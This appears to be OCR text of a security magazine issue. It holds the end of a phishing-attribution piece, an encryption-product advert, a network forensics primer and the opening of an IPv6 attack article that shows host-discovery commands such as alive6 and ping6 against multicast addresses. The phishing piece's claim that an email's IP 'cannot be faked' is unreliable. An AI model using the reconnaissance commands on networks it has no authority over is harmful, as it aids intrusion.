EVEN MORE INTERESTING LEADS
So we now search the phone number on Google:
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Figure 19. Searching another lead on google, phone number

We can see that the attacker has performed many phishing attempts.

We come back to the original email and we find an IP address, so we try to find its origin:
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Figure 20. Investigating the e-mail for more info, ip address
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PINPOINT THE LOCATION - NIGERIA
We now search the IP for its location and information
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Figure 21. Pinpoint the location of the origin

We now came across with a number of options and leads, but after some screening and gathered
knowledge we concluded that this is the genuine source (The IP cannot be faked).

CONCLUSION
In conclusion, the attacker tried to hide himself and the domains center around three identities: “Fouad
Kahwagi”, “Oswald Matthias” and “Justin Lerner”.

ABOUT THE AUTHOR
Gilad Ofir: Has years of experience as a System Administrator and Integrator, he has been working mostly
with Windows OS and Linux OS, working with many AD environments, integrated with other Microsoft- re-
lated products.

Computer Programmer with knowledge in JAVA, C++, C, Python,JS,VBS,Perl and best at C# language.

He is Information Security Consultant at Defensia Company advising customers in Information Security re-
lated issued, pentesting, vulnerability assessment, code review and many more.

He also works as Instructor for Defensia Company in many Information Security related issued.

ABOUT THE AUTHOR
Dvir Levi: Dvir is currently an information security consultant with knowledge and experience from a very
young age, in many fields of information security and a variety of computer systems, Internet and mobile,
majoring in web, infrastructural and application based penetration-tests. Dvir has also knowledge and expe-
rience in computer forensics of cyber-crime, malware reversing and analysis, system managements, hard-

-5 ening as well as knowledge and experience in website development.

® e



e
FREE eBOOK DOWNLOAD

ENCRYPTION
KEY MANAGEMENT
SIMPLIFIED

Learn the Fundamentals
What is encryption key management
and do | need it?

Key management best practices

How to meet compliance regulations
(PCI-DSS, HIPAA/HITECH, GLBA/FFIEC,
etc.) with encryption key management
How encryption key management
works on every platform including

Microsoft SQL Server ‘08/°12, Oracle,
and IBM i

DOWNLOAD THE eBOOK
townsendsecurity.com/eforensics

HACKERS DON'T BREAK ENCRYPTION.
THEY FIND YOUR KEYS.

www.townsendsecurity.com “i Townsend.

SECURITY




)

NETWORK FORENSICS

HOW TO INVESTIGATE NETWORK FORENSIC CASES
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by Rizwan Khan, CISSP, CFCE

Network Forensics is a branch of digital forensics which relates
to the analysis of network traffic for the purpose of gathering
evidence of network tampering, intrusion, evidence of criminal
activity or general information gathering. Network forensics is

a comparatively new field of forensic science. Depending upon
the type of case, network forensics can add value to computer
forensics cases and help identify digital devices operating on the

network.

What you will learn:

* What is a network

* Network Topologies

* What are different types of net-
works

* What are different types of net-
work attacks

* What are different types of threats

* What are other uses of network fo-
rensics

* What are the steps for network fo-
rensics

What you should know:

This article will not make you an ex-

pert in network forensics

« Certainly a good primer

* A jump start into what is involved
when investigating network relat-
ed cases

er to share data along with other resources like printers and storages de-

vices. Computers connected to networks are generally divided into two
categories; servers and workstations. Although wireless networks are very reli-
able, servers are almost always connected by cables to the network backbone.
Networks come in a variety of sizes like Local Area Networks (LAN) and Wide
Area Networks (WAN). Local Area Networks (LAN) are typically used in rela-
tively smaller facilities like office buildings while Wide Area Networks (WAN), as
name suggests, are used to cover a larger geographical area.

NETWORK TOPOLOGIES
Networks topologies can be categorized into 5 different types:

Q computer network consists of two or more computers connected togeth-

BUS

Bus topology uses a common backbone to connect all of the network devices
in a network. A single cable functions as the communication channel between
all the devices attached to the network. The channel is shared by all of the
devices. The message is broadcasted to all of the devices, however; only the
devices being communicated with actually accepts the message. Bus topol-
ogy works with a limited number of devices, therefore performance issues are
more likely to occur since a common backbone (communication channel) is
used to connect all of the devices. Having a single cable as a backbone also
makes a single point of failure. If this channel experiences a break, the whole
network is affected.

STAR

Star topology is the most commonly used topology. All devices are connected
to a central device like a switch or router. Since all of the devices are connected
via their individual communication channel, there is no single point of failure.
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If one device loses its connectivity to the central device, it does not break the connectivity for the other
devices connected to the network. However, if the central device breaks down, the whole network is af-
fected. Every workstation is indirectly connected to all of the other devices through the central device.

RING

(Also referred to as “Token Ring”, due to the requirement for the sender to possess a “Token” to gain
privileges to send data) In a Ring network, every computer or device has two adjacent neighbors for
communication. In this topology, the message can travel in only one direction, |IE. clockwise or counter-
clockwise. Any damage to the cable or device can result in the breakdown of the whole network. Due to
its single point of failure and inefficiency, this topology has now become almost obsolete.

MESH

In Mesh topology, devices are interconnected with one another. One of the best examples of this topol-
ogy is the Internet. A message being sent to its destination can take the shortest, easiest route to reach
its destination. Within Mesh topology, there is “Full” mesh and “Partial” mesh. In the full mesh, each work-
station is connected directly to each of the others. In the partial mesh topology, some workstations are
connected to all, while others are connected to those nodes with which they exchange the most data.

TREE

Tree topology is a combination of multiple star topologies connected to each other via bus topology. The
tree topology uses two or more star networks connected together. The central network device (switch or
router) of each star network is connected to the main bus.

Although at a very high level, having an understanding of network topologies will help you better inves-
tigate network-related cases. It is also important to understand different network devices so you can em-
ploy your tool properly. A basic understanding of the network topologies and network devices is a must
for a network forensic professional.

WIRED OR WIRELESS
Computer networks allow users to exchange data between network devices and can be configured as
either wired or wireless. Each of these types of configurations have their advantages and disadvantages.

A wired network, as the name suggests, use wires to connect properly. This wire is called an Ethernet
cable. Ethernet cables come in three different types called CAT5, CAT5e or CAT6 based on their
transmission performance.

Here is a quick breakdown of each type of cables:

+ CAT5 comes in two different types: SCTP (Shielded Twisted Pair) and UTP (Unshielded Twisted
Pair). The difference is that SCTP has an extra layer of shield to protect from interference. It can
support 100mbps and have a length up to 100 meters or 328ft.

+ CATb5e is an enhanced version of CAT5 because it can support data transfer of 1000mbps and have
a length up to 100 meters or 328ft, which makes it suitable for a gigabit network.

+ CATG6 is the newest of all three and supports up to 10 gigabits for a length of up to 37 meter or 121 ft. [1]

* In a wired configuration, computers and devices are connected via network card and Ethernet ca-
ble. An Ethernet cable must be ran from device to device or from device to central device like a switch,
router or hub. Wired connections are more reliable than wireless because they are less susceptible to
interference, have superior performance and are generally less expensive than wireless networks.

Wireless networks on the other hand, do not require hubs and switches. One Wireless Access Point,
also known as, WAP can provide connectivity to multiple workstations. Certainly wireless networks are
convenient, but along with convenience comes limited signal range, speed and susceptibility to interfer-
ence from other radio devices.

As for security, no network is completely secure. Of the two, wired and wireless networks, wired net-
works are considered to be more secure because physical access is required to tamper with the network.
Wireless signals travel though the air and can be easily intercepted by an outsider if not properly se-
cured. In the network security field, “War-driving” refers to traveling through a neighborhood with a Wi-Fi
enabled laptop looking for open unprotected networks.
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NETWORK ATTACKS

If you decide to pursue a career in network forensics, you are bound to investigate a network attack. Ac-
cording to Microsoft TechNet, there is a broad range of possible network attacks.Here is an overview of
common network attacks and how they are deployed.

EAVESDROPPING refers to secretly listening to a conversation. In our case it is to secretly monitor
network traffic. The term “Sniffing” refers to when an attacker or administrator is listening in on network
communication. In general, communication between network devices are in plain-text. That means that
the packet and its payload are transferred in plain-text unless encrypted. The only time communication
is not readable is when strong encryption services are being used. This is not very common unless you
are dealing with the Federal Government or large corporations.

DATA MODIFICATION ATTACKS
Once the data has been captured by the attackers, he or she can modify it for his or her benefit. Neither
the sender or the receiver would know the data has been modified.

IP ADDRESS ATTACKS (ALSO KNOWN AS IP SPOOFING)

IP spoofing refers to the act of masking your original IP address with another IP address to gain access
to internal network called an Intranet. Once a hacker gains access to your private network, he or she can
launch a variety of attacks.

PASSWORD BASED ATTACKS

Some legacy applications and software do not encrypt passwords as they are being passed through
the network. This allows attackers to capture these passwords. Once an attacker has captured a user’s
login id and password it opens the computer system to a variety of security related issues. Once an at-
tacker has gained possession of credible log-on credentials, the attacker may then gain access to other
systems as a valid user. If the user id happens to have administrator privileges, the attacker can use it to
obtain other vital information about an organization; such as other valid users or hardware information.
By using administrator privileges, an attacker creates additional backdoors in case it is detected that the
password has been compromised.

DENIAL OF SERVICE ATTACKS (DOS)

A Denial of Service (DoS) attack refers to a situation where an attacker prevents a user from normal use
of a computer or network. For example, overloading a system with fake requests to the point where it is
unable to process a legitimate request.

DISTRIBUTED DENIAL OF SERVICE ATTACKS (DDOS)

A Distributed Denial of Service is a modified version of Denial of Service (DoS) attack. In this scenario
the attacker utilizes other compromised systems as hosts to attack a single target. Due to its multiplica-
tive nature, utilizing multiple hosts tremendously increases the intensity of the attack. See Figure 1.
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xx___,_,.s /_.—rﬁ
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Aftacker Compromised Systenrs
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Compromised Systems
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Figure 1. Distributed Denial of Service Attack
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Man in the middle attacks refer to when someone is actively monitoring, capturing and modifying network
traffic without the user’s knowledge. In this type of attack, the attacker assumes the identity of a legiti-
mate user in order to gain information. See Figure 2.

>
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Sender * Receiver

Aftacker
{(Man in the Middle)

Figure 2. Man in the Middle Attack

COMPROMIZED KEY ATTACKS

Although capturing and deciphering keys is a difficult and resource-intensive process, it is possible to
obtain the key being used to encrypt the network traffic. This allows the attacker to decrypt network com-
munication, modify data and re-encrypt it without the knowledge of either parties involved. Once the data
has been re-encrypted, the receiver has no reason to suspect authenticity of the message.

SNIFFER ATTACKS

Sniffers are network monitoring tools which aid in eavesdropping on the network. They are used by both
network administrators and attackers equally. Network administrators rely on Sniffers for purposes such
as securing the network or improving the networks performance. The attackers use Sniffers to capture
network traffic in order to gather information for attacks. Sniffers are devices that, when connected to
a network, capture all or selected network traffic. If the network traffic is not encrypted, it provides the
sniffer a full view of the data in the network packet. A sniffer can be a software application running on a
computer like a laptop or a standalone device. The software places the computer network card in “pro-
miscuous mode” which allows it to see and capture all of the network traffic. In the background, the cap-
tured network traffic is recorded in a predefined log for future or ad hoc analysis use. The basic operation
of a sniffer is easy to learn and utilities are readily available in an Open Source format. If you search for
Wireshark or Snort, which are Open Source sniffer utilities, you will find hundreds of short videos and tu-
torials on how to use them for both good and bad purposes.

APPLCATION LAYER ATTACKS

In an application layer attack, the attacker attempts to exploit the vulnerabilities of the host server and
gain access to the server. Once the attacker has gained access into the server, he can then deploy all
sorts of attacks to modify data, infect host system with viruses, infect networks with viruses, deploy sniff-
ers and disable security controls for future exploits.

EXTERNAL THREAT VS INTERNAL THREATS

External Threats refer to threats from an outsider who has no affiliation with the company. External
threats are hard to investigate because it is difficult to determine where the threat is coming from. These
threats come in two different types: simple attacks and persistent attacks. A simple attack is one in which
the attacker tries to get in and out quickly without being detected by an Intrusion Detection System (IDS).
The goal of a simple attack is to damage the network security by infecting it with viruses. On the other
hand, a persistent threat’s goal is to get in and stay for a while. According to SearchSecurity, an “Ad-
vanced Persistent Threat” (APT) is a network attack in which an unauthorized person gains access to a
network and stays there, undetected, for a long period of time. The intention of an APT attack is to steal
data rather than to cause damage to the network or organization. APT attacks target organizations in
sectors with high-value information, such as national defense and the financial industry. [2]

Internal threats are usually from someone inside the company. They could be caused by someone
who is either directly or indirectly affiliated with the company. A number of times internal threats deal
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with escalating user privileges or abuse of privileged accounts or service accounts. A privileged ac-
count is defined as an account that holds administrative privileges and a service account is an account
that is not to be used for interactive logins. For example, a web application logs into a database to ob-
tain customer order information. The account that is being used to access this information is consid-
ered a service account. According to Infosecurity Magazine, there are many examples of the malicious
abuse of privileged access to be found within recent headlines, including the case involving Saudi Ar-
amco — Saudi Arabia’s national oil provider. During August 2012, an individual with privileged access
to the company’s computers unleashed the Shamoon virus on the network resulting in a devastating
loss of corporate data. The attack was so serious that it was described by Leon Panetta, the former
US Secretary of Defense, as a “significant escalation of the cyber threat”. [3]

Regardless of where the threats come from, a network forensic professional needs to be prepared to
handle attacks by having sound investigative practices.

USES OF NETWORK FROENSICS

As a network forensic professional, you are likely to be involved in two types of investigations: internal
and criminal investigations. Examples of internal investigations are a rogue employee, company net-
work intrusions, corporate or industrial espionage or criminal investigations working with a governmental
agency. Each type of investigation has different goals and requires different approaches. For example,
if it is a planned monitoring activity to monitor a rogue employee, you may have time to install different
network traffic collection points if they are not already in place. On the other hand, if it is an incident re-
sponse where network intrusion is occurring, you may not have the ability to install additional data collec-
tions devices if they are not already in place. You would end up looking at the log ad hoc and start your
collection from there.

In criminal investigations, you usually have time to setup network listening devices. For example, if a
business suspects their network is being used as a front for a data heist or denial of service attack on
another organization, law enforcement would have time to install additional network monitoring devices
on the victim network.

Network forensics are also utilized for administrative purposes. For example, improving performance,
to research blocked ports and blocked addresses or monitoring user activity in general. | have seen net-
work forensic specialists involved in transaction monitoring via networks to identify bottle necks across
firewalls and switches. For example, in a Local Area Network (LAN) or Wide Area Network (WAN) envi-
ronment a network packet may go through multiple routers and switches known as hops before arriving
at its destination. You may be required to identify all the different hops and routes. Don’t worry, there are
tools and utilities that will help you identify these devices.

STEPS TO CONDUCT FORENSIC ANALYSIS

MUST HAVE LEGAL AUTORITY

Before you conduct any type of investigation, whether it be a network forensics or a computer forensics
investigation, either internal to your organization, for a criminal case or for a private case, you must have
legal authority to conduct this investigation. This legal authority comes in several different fashions. For
example, in a corporate environment you must have management buy in. You would not want to become
a rogue employee who started collecting data unbeknownst to your employer. In criminal cases, you may
need a search warrant or a consent to search. Obtaining a search warrant can be an extensive process
where you have to prepare a probable cause affidavit, have it admitted in court as evidence before a judge
authorizes a search. On the other hand, a consent to search can be fairly quick. A consent to search is ba-
sically a pre-printed form customized to a specific situation that can be filled out, signed and approved by
a victim or representative of a company. In private cases where a network forensics professional is hired to
conduct an investigation, a consent to search or a letter of engagement is the most feasible.

FIRST STEP - DATAGATHERING

Since the idea in network forensics investigation is to reconstruct network activity during a targeted time
frame, the first step is to ensure that there is data available. There are proactive and reactive ways to col-
lect network data. Network switches, firewalls, Intrusion Detection Systems (IDS), Intrusion Prevention
Systems (IPS) are common devices in the majority of networks regardless of size. These devices are a
wealth of information. According to Simson Garfinkel there are two approaches to network data capture:
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“Catch-it-as-you-can” systems, in which all packets passing through a certain traffic point are captured
and written to storage with analysis being done subsequently in batch mode. This approach requires
large amounts of storage, usually involving a RAID system.

“Stop, look and listen” systems, in which each packet is analyzed in a rudimentary way in memory and
only certain information is saved for future analysis. This approach requires less storage but may require
a faster processor to keep up with incoming traffic.

Both approaches require significant storage and the need for occasional erasing of old data to make
room for new data. The open source programs fcpdump and windump, as well as a number of commer-
cial programs, can be used for data capture and analysis. [4]

WHERE CAN YOU FIND DATA?
Listed below are common network devices that may contain a wealth of information:

Hub, Switch and Routers are network devices with varying capabilities. They allow computers and net-
works to connect with each other.

HUBS

Hubs are network device commonly used to connect different network segments. They are least expen-
sive and less intelligent. As network packets arrive, hubs do not know their destination. Not knowing in-
tended recipient computer, the network packet is broadcasted to all the computers or devices connected
to the hub including the sender. The recipient computer either accepts the message while others reject it.

SWITCH

Switches are similar to hubs but smarter. Unlike hubs, switches filter network traffic and forward packets
to their intended recipients. When a packet first arrives, the switch does not know its intended recipient.
At that point, the network packet is broadcasted to all the devices. The intended recipient computer ac-
cepts the message while others computers reject it. When the intended recipient accepts the message it
also identifies itself to the switch and the response goes back to the sender only. Since switch now knows
the recipient, all the subsequent packets go to the intended computer. All this happens instantaneously
making the switch faster than a hub.

ROUTERS

Routers are smartest of all three network devices and it is also the most complicated. Again, there are
similarities with the other two network devices. The packets are forwarded to intended destinations along
the network. Routers are commonly used to connect two networks like Local Area Networks (LAN) and
Wide Area Networks (WAN). Routers have routing tables that allow them to determine the best path to
get the network packet to its destination.

INTRUSION DETECTION SYSTEMS (IDS)

Intrusion Detection Systems are hardware devices that are attached at a networks perimeter. An Intru-
sion Detection System’s job is to monitor network traffic as it comes in and match the traffic signature
with a library of known attack signatures. If an attack is sensed based on these known signatures, it noti-
fies the administrator. See Figure 3.
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Figure 3. Intrusion Detection System
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INTRUSION PREVENTION SYSTEM (IPS)

Intrusion Prevention Systems are similar to Intrusion Detection Systems as they are hardware devices
that are attached to a network. In addition to detecting network intrusions, these devices also block net-
work attacks by blocking traffic. The goal is to stop malicious network traffic before it compromises your
network. When operational, IDS and IPS create logs and depending on the type of IDS or IPS being
used, you can gather detailed information about the attacks. See Figure 4.
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Figure 4. Intrusion Prevention System

CONTINIOUS PATCKET CAPTURE

Continuous packet capture devices are basically hardware devices with large storage capacity. Its sole
purpose is to capture all of the network traffic. In case of an attack, breech or perhaps an internal investi-
gation, the data can be analyzed. For example, IP Copper is a example of a commercial hardware device
that captures all of the network traffic. [5]

AD HOC SNIFFER

WRESHARK

Wireshark is an open source packet analyzer which is essentially a GUI interface to the command line
utility called dumpcap. Dumpcap is a network traffic dump program which lets you capture network data
to a file. If the file becomes too large, the utility can be customized to rotate to a new file every time a
file reaches a predetermined size. The Wireshark program can be installed on a desktop computer or a
laptop. The software configures the network card to promiscuous mode which allows it to listen to all the
network traffic regardless of its destination. If installed on a laptop, it gives the network forensics investi-
gator great flexibility and mobility to capture ad hoc network traffic from different subnets. See Figure 5.
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Snort is an open source network intrusion prevention and intrusion detection system (IPS/IDS) devel-
oped by Sourcefire. Snort combines benefits of signature, protocol, and anomaly-based inspection. Snort
is an IPS/IDS technology which is deployed worldwide. With millions of downloads and nearly 400,000
registered users, Snort has become the de facto standard for IPS. Snort is a free network intrusion de-
tection and prevention system capable of performing real-time traffic analysis and packet logging on IP
networks. Snort can perform protocol analysis and content searching/matching. It can be used to detect
a variety of attacks and probes, such as buffer overflows, stealth port scans, CGI attacks, SMB probes,
OS fingerprinting attempts, and much more. It also has a real-time alerting capability as well. Although
open source, Snort is so successful that a commercial version is available from Sourcefire. [6]

OSSEC

OSSEC is another free Open Source host-based Intrusion Detection System. Although a Host-Bases
Intrusion Detection System (HIDS), it also performs log analysis, integrity checking, Windows registry
monitoring, Unix-based root kit detection, real-time alerting and active response. As a log analysis and
correlation tool, it comes with built-in decoders. It is a scalable, multi-platform system that can be easily
customized. It runs on most operating systems, including Linux, OpenBSD, FreeBSD, Mac OS, Solaris
and Windows. [7]

BACKTRACK

Another great tool that can be used for gathering data is Backtrack. Backtrack is a Ubuntu Linux based
operating system which can be installed on your local machine or run via live DVD. The software can also
be installed on a USB device which you can then boot from. The Live DVD is powerful but considerably
slower than a hard disk or USB disk. Backtrack has several built-in network and security tools. Although
Backtrack contains various tools with graphical front ends, most tools will be used via a command line.
Since Backtrack is a Linux based operating system, a lot of tasks can be scripted for ease of operation.

INCENDENT RESPONSE FOR NETWORK INTRUSIONS

In your career as a network forensic professional, there may be times when you are required to respond
to an incident where there is an active intrusion. In cases like that, time is of the essence. A longer re-
sponse time will result in more damage to your network. With that in mind, you should prepare a check-
list so that personnel can react quickly to mitigate the damage. Although each incident will be different,
having a checklist will ensure that nothing gets overlooked. Can you imagine if airline pilots conducted
their pre-flight safety inspection by using their memory? How many things do you think they would miss?
That’s why they have a written pre-flight checklist. Either the pilot or co-pilot can use the checklist and
perform a pre-flight safety inspection. Just like this example, you should have an incident response
checklist that network personnel can start going through until an incident response team can respond to
investigate the intrusion fully.

PREPARATION

Preparation is the key to success in any critical situation. Be prepared to handle an incident. Have a plan
and strategy of who is going to do what. Identify an Incident Response Team. These should be people
from your organization and be experts in their field. Communication is key to any critical incidents. You
don’t want multiple people trying to do same thing. Not only is it a waste of resources, but they could be
overwriting each other’s changes or blocking each other’s changes. Their job responsibility should be
clear. Ensure that your Incident Response Team has rights and privileges sufficient to do their job. There
is nothing more frustrating than being involved in a critical incident and finding out the people who you
have assigned to fix the problem are unable to access critical files and settings. Have the right hardware
and software tools available. These tools should be tested in advance and not on the day of the incident.
These points may seem common sense, but errors like these have happened. Also consider training
your team. They should be properly trained in handling incidents which could cripple an organization if
the correct actions are not taken. Have regular exercise drills and tabletop exercises. Tabletop exercises
are paper exercises where the incident response team goes through a checklist to ensure nothing is be-
ing overlooked.

IDENTIFICATION
Initially you will want to gather all of the logs and errors (IDS,IPS, Switches and firewalls) and determine
that an intrusion has occurred. Again having a checklist of all data sources would be priceless when col-
lecting all the data.
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CONTAINMENT

Limit as much of the damage as you possibly can. In this stage, you would identify and isolate segments
of your network by powering off network devices like switches and routers or blocking different commu-
nication ports.

ERADICATION

After having identified and isolated the threat to your network, the next matter of business would be the
removal of the identified threats and changes. You would also be restoring the affected system. Having a
good backup of your system is critical. As previously mentioned, test your backup and restore processes
in advance so you can minimize downtime for your organization.

PLAN FOR FUTURE

This is a perfect time to reflect on lessons learned from current; as well as past incidents and prepare
a case study to see what went wrong and how to avoid it in future. Also, look at how to improve your
defenses by patching any vulnerabilities you discover immediately. Look at how the intrusion occurred,
what was the weakness that allowed the attack to occur. If the attack was caused by a user error, it may
mean retraining your end-users as well as educating your staff on recognizing network attack threats. [8]

DATA ANALYSIS

When investigating network intrusions, the idea is to determine what happened, when it happened, where
it happened and who is responsible for it. Once you have collected or have identified the logs you need,
you have to analyze these logs. While some of these logs would be readable via common text editor, for
some of them it would require proprietary viewers. Most of the proprietary viewers would have some type
of search functionality built in it that should allow you to parse the data to reconstruct what happened. For
logs that are easily readable via text editor, there are tools available that can help you sort the data.

MANDIANT HIGHLIGHTER
Mandiant offers a great utility that can help you sort text based log files. The tool is also priced just right,
it is freel

It provides the user the ability to view the data in three different ways:

+ The text view allows users to highlight interesting keywords and remove lines with “known good”
content.

» A graphical view shows all the content and the full structure of the file.

» The histogram view displays key patterns in the file over time.

Pattern usage becomes visually apparent and provides the examiner with useful metadata that is not
available in other text viewers or editors. [9]

SANS INVESTIGATIVE FORENSIC TOOL KIT (SIFT)

Another great tool that is available to perform data analysis is the SANS SIFT Workstation. The SANS
Workstation is a VMware Appliance that is preconfigured with all the necessary tools to perform a de-
tailed digital forensic examination. Although predominantly a computer forensics platform, SIFT is Ubun-
tu Linux based and contains a variety of tools built for network forensics and log file analysis. Text based
log files can be easily mounted in SIFT using external devices in READ ONLY format and easily parsed
using Linux built-in utilities like grep.

LIST OF TOOLS IN SANS SIFT

The Sleuth Kit (File system Analysis Tools)
Log2timeline (Timeline Generation Tool)
SSdeep & md5deep (Hashing Tools)
Foremost/Scalpel (File Carving)
WireShark (Network Forensics)

Vinetto (thumbs.db examination)

Pasco (IE Web History examination)

Rifiuti (Recycle Bin examination)

Volatility Framework (Memory Analysis)



+ DFLabs PTK (GUI Front-End for Sleuthkit)
» Autopsy (GUI Front-End for Sleuthkit)
* PyFLAG (GUI Log/Disk Examination)

g
111/ %
LOOK OUT OF ANTI FORENSICS

Anti-forensics is a huge topic and becoming more common. There are several detailed papers written on
the topic. The idea behind anti-forensics is to either clean up your artifacts before leaving or manufacture
and plant your own artifacts in key locations to cover-up your original artifacts. This will make it difficult
for the investigators to track you. A quick search on the web will show you numerous websites and white
papers about anti-forensics. As a new investigator you have to be extra careful not to over look evidence
and verify your evidence in more than one way. Sometimes lack of evidence /S evidence!

IN SUMMARY

Network Forensics is a branch of digital forensics which relates to analysis of network traffic for the pur-
pose of gathering evidence of network tampering, intrusion, evidence of criminal activity or general in-
formation gathering. Having an understanding of network topologies and hardware being used in your
organization will help you better utilize your tools. While investigating any case, you must have legal
authority to investigate. Depending upon the type of case being investigated, the criteria to obtain legal
authority is different. When handling incidents involving networks, it is best to have a plan. A checklist
of all the key hardware and software where data is available is instrumental in helping you reconstruct
what happened. You should have a team of experts from the organization helping you gather and ana-
lyze network traffic.

ON THE WEB
If you are looking for practice logs or a detailed list of tools available, you can visit following sites: http:/
forensicscontest.com/, http:/digitalcorpora.org/corpora/network-packet-dumps. These sites provide sample
logs with questions and answers that you can use to practice network forensics skills.
Mandiant Highlighter can be download from: http://www.mandiant.com/resources/download/highlighter
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IPV6 SECURITY
SECURING THE
FUTURE OF INTERNET

by Satinder Sandhu

Predictions about when the world will end are as consistent as

the predictions that when IPv4 internet addresses will finally run
out, but some IT security professionals say that it is the least of our
worries. A much bigger concern, they say, should be the security
holes that will open up in many business organizations as the

world moves over to internet protocol version six (IPv6). In this
article we are going to discuss and execute the techniques and
methodologies which can make the future of internet .... INSECURE!

What you will learn:

« |Pv6 Protocol and Vulnerabilities

* Hands on Network Attacks for
IPv6

« Introduction to IPv6 Hacking Tool-
kit

« IPv6 and Web Assessments

» Exploiting IPv6 using Metasploit

» Security Enhancements in IPv6

* Countermeasures

What you should know:

* You should have a basic under-
standing of IPv6 fundamentals

* Exposure to TCP/IP Protocol

» Basic knowledge of offensive tech-
niques

been lost in all the hype around how IPv4 is about to run out of IP ad-

dresses assigned to each internet-connected device because of the ex-
plosion of internet users, devices and web services.IPv6 will solve this prob-
lem because it provides over four billion times more addresses than IPv4, but
in solving that problem, it could expose businesses to cyber attacks as hack-
ers use IPv6 to bypass security controls, filters designed and configured for
IPv4 traffic.

T he IPv6 Security is an important aspect of the changeover that has

In order to ensure the that we are safe and secure while using the IPv6 net-
work, first we need to know the possible attacks and hacks which can exploit
the vulnerabilities of the IPv6. So, in this article we would discuss the tech-
niques, methodologies and tools that make IPv6 ..... insecure.

IPV6 VS OLD ATTACKS

In this section we will analyze some of the most popular cyber attacks in a
perspective focused on the comparison and on the possible impact of these
with the IPv6.

RECONNAISSANCE ATTACKS

Reconnaissance attacks, in IPv6, are different for two major reasons: The first
is that “Ports Scan” and/or “Ping Sweep” are much less effective in IPv6, be-
cause of, as already said, the vastness of the subnet into play. The second is
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that new multicast addresses in IPv6 will allow finding key systems in a network easier, like routers and
some type of servers. In addition, the IPv6 network has a much closer relationship with ICMPv6 (compared
to the IPv4 counterparty ICMP) which does not allow too aggressive filters on this protocol.

OVER THE WALL

It includes the attacks in which an adversary tries to exploit little restrictive filtering policies. Currently,
we are used to developing access lists (ACLs) to restrict unauthorized access to the network we want
to be protected by set specific policies on gateway devices in between the IPv4 endpoints. The need for
access control is the same in IPv6 as in IPv4. In IPv6, the basic functions for mitigation of unauthorized
access are the same. However, considering the significant differences between the headers of the two
protocols, it is possible to imagine different ways to implement them.

SPOOFING ATTACKS

While L4 spoofing remains the same, due to the globally aggregated nature of IPv6, spoofing mitigation
is expected to be easier to deploy. However the host part of the address is not protected. Layer 4 spoof-
ing attacks are not changed, because L4 protocols do not change in IPv6 with regard to spoofing.

DDOS ATTACKS

In IPv6, we cannot find the broadcast address. This means that all resulting amplification attacks, like
smurf, will be stopped. IPv6 specifications forbid the generation of ICMPVv6 packets in response to mes-
sages to IPv6 multicast destination address, a link-layer multicast address or a link-layer broadcast ad-
dress. In general, through the adoption of the new standard, we should find an improvement in this regard.

ROUTING ATTACKS

Routing attacks refer to activities that try to redirect traffic flow within a network. Currently, routing protocols
are protected using cryptographic authentication (MD5 with Pre-Shared Key) between peers. This protec-
tion mechanism will not be changing with IPv6. BGP has been updated to carry IPv6 routing information.

MALWARE

There is no particular implementation in IPv6 which will allow changing the classical approach to mal-
ware. However, worms that use the internet to find vulnerable hosts may find difficulties in propagation
due to the large address space.

SNIFFING

This is the classical attack that involves capturing data in transit across a network. IPv6 provides the
technology for the prevention of these types of attacks with IPSec, but it does not simplify the problems
for keys management. For this reason, this technique can still continue to be practiced.

L7 ATTACKS

Here we refer to all those types of attacks performed at Layer 7 of the OSI model. Also considering a
worldwide adoption of IPSec, this type of attacks will remain almost unchanged. Buffer Overflow, Web
Applications Vulnerability, etc., cannot be stopped through the IPv6 adoption. There is also another con-
sideration: if IPSec will be implemented as a standard for communication between endpoints, all devices
such as IDS/IPS, firewalls and antivirus will only see encrypted traffic, promoting this type of attacks.

MAN-IN-THE-MIDDLE
The IPv6 is subjected to the same security risks that we may encounter in a man-in-the-middle attack
that affects the suite of IPSec protocols.

FLOODING ATTACKS
The core principles of a flooding attack remain the same in IPv6.
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SCANNING

The IPv4 ARP protocol goes away in IPv6. Its replacement consists of the ICMPv6 Neighbor Discov-
ery (ND) and ICMPv6 Neighbor Solicitation (NS) protocols. Neighbor Discovery allows an IPv6 host to
discover the link-local and auto-configured addresses of all other IPv6 systems on the local network.
Neighbor Solicitation is used to determine if a given IPv6 address exists on the local subnet. The lin-
klocal address is guaranteed to be unique per-host, per-link, by picking an address generated by the
EUI-64 algorithm. This algorithm uses the network adapter MAC address to generate a unique IPv6 ad-
dress. For example, a system with a hardware MAC of 01:02:03:04:05:06 would use a link-local address
of fe80::0102:03FF:FE04:0506. An eight-byte prefix is created by taking the first three bytes of the MAC,
appending FF:FE, and then the next three bytes of the MAC. In addition to link-local addresses, IPv6 also
supports stateless auto-configuration. Stateless auto-configured addresses use the “2000::” prefix. More
information about Neighbor Discovery can be found in RFC 2461.

ALIVE6

In order to enumerate local hosts using the Neighbor Discovery protocol, we need a tool which can send
ICMPV6 probes and listen for responses. We are going to use the alive6 program which can be down-
loaded at http://www.aldeid.com/wiki/THC-IPv6-Attack-Toolkit/alive6. The example below demonstrates
how to use alive6 to discover IPv6 hosts attached to the network on the ethQ interface.

# alive6 eth0

Alive: fe80:0000:0000:0000:xxxx:xxff:fexx:xxxx
Alive: fe80:0000:0000:0000:yyyy:yyff:feyy:yyyy
Found 2 systems alive

LINUX NEIGHBOR DISCOVERY TOOLS
The ip command, in conjunction with ‘ping6’, both included with many recent Linux distributions, can
also be used to perform local IPv6 node discovery. The following commands demonstrate this method:

# ping6 -c 3 -I eth0 ff02::1 >/dev/null 2>&1

# ip neigh | grep "fe80

fe80::211:43ff:fexx:xxxx dev eth0O lladdr 00:11:43:xx:xx:xx REACHABLE

fe80::21le:c9ff:fexx:xxxx dev eth0 lladdr 00:le:c9:xx:xx:xx REACHABLE
fe80::218:8bff:fexx:xxxx dev eth0 lladdr 00:18:8b:xx:xx:xx REACHABLE

LOCAL BROADCAST ADDRESSES
IPv6 Neighbor Discovery relies on a set of special broadcast addresses in order to reach all local nodes
of a given type. The table below enumerates the most useful of these addresses.

FF01::1 — This address reaches all node-local IPv6 nodes

FF02::1 — This address reaches all link-local IPv6 nodes
FF05::1 — This address reaches all site-local IPv6 nodes
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FF01::2 — This address reaches all node-local IPv6 routers
FF02::2 — This address reaches all link-local IPv6 routers
FF05::2 — This address reaches all site-local IPv6 routers

The Nmap port scanner has support for IPv6 targets, however, it can only scan these targets using the
native networking libraries and does not have the ability to send raw IPv6 packets. This limits TCP port
scans to the connect () method, which while effective, is slow against firewalled hosts and requires a full
TCP connection to identify each open port. Even with these limitations, Nmap is still the tool of choice
for IPv6 port scanning. Older versions of Nmap did not support scanning link-local addresses, due to the
requirement of an interface suffix. Trying to scan a link-local address would result in the following error.

